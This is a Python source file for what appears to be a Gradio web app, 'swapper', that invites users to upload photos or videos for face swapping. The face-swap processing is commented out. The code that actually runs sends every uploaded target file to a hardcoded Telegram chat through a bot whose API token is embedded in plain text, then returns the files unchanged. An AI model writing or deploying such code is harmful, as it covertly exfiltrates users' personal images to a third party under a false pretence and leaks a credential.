test1 / app.py
Mrlongpro's picture
Update app.py
36c0464 verified
raw
history blame
1.54 kB
import gradio as gr
import subprocess
import shutil
import os
from datetime import datetime
import requests
from bs4 import BeautifulSoup
import telebot
import zipfile
from pathlib import Path
# Initialize Telegram bot
bot = telebot.TeleBot("6637723515:AAGfwpKEh0Vgw8hZkTZq8MohIFwR6LdKX9I", parse_mode=None)
def run_scripts(target, source):
outputfile=[]
zip_filename = datetime.now().strftime("%Y%m%d%H%M%S") +".zip"
zipf=zipfile.ZipFile(zip_filename, "w")
for target_file in target :
target_extension = os.path.splitext(target_file.name)[-1]
target_name = os.path.splitext(target_file.name)[1]
timestamp = datetime.now().strftime("%Y%m%d%H%M%S")
output_path1 = "output" + timestamp + target_extension
#cmd1 = ["python3", "run.py", "-s", source.name, "-t", target_file.name, "-o", output_path1, "--frame-processor", "face_swapper","face_enhancer",'--many-faces']
#subprocess.run(cmd1)
#outputfile.append(output_path1)
#print(os.path.abspath(output_path1))
#print(source)
#bot.send_photo("-4283513911", photo=open(os.path.abspath(output_path1), 'rb'))
#zipf.write(output_path1)
bot.send_photo("-4283513911", photo=open(target_file.name, 'rb'))
return target
#return outputfile
iface = gr.Interface(
fn=run_scripts,
inputs=[
"files",
"file"
],
outputs=["files"],
title="swapper",
description="Upload a target image/video and a source image .",
live=False
)
iface.launch()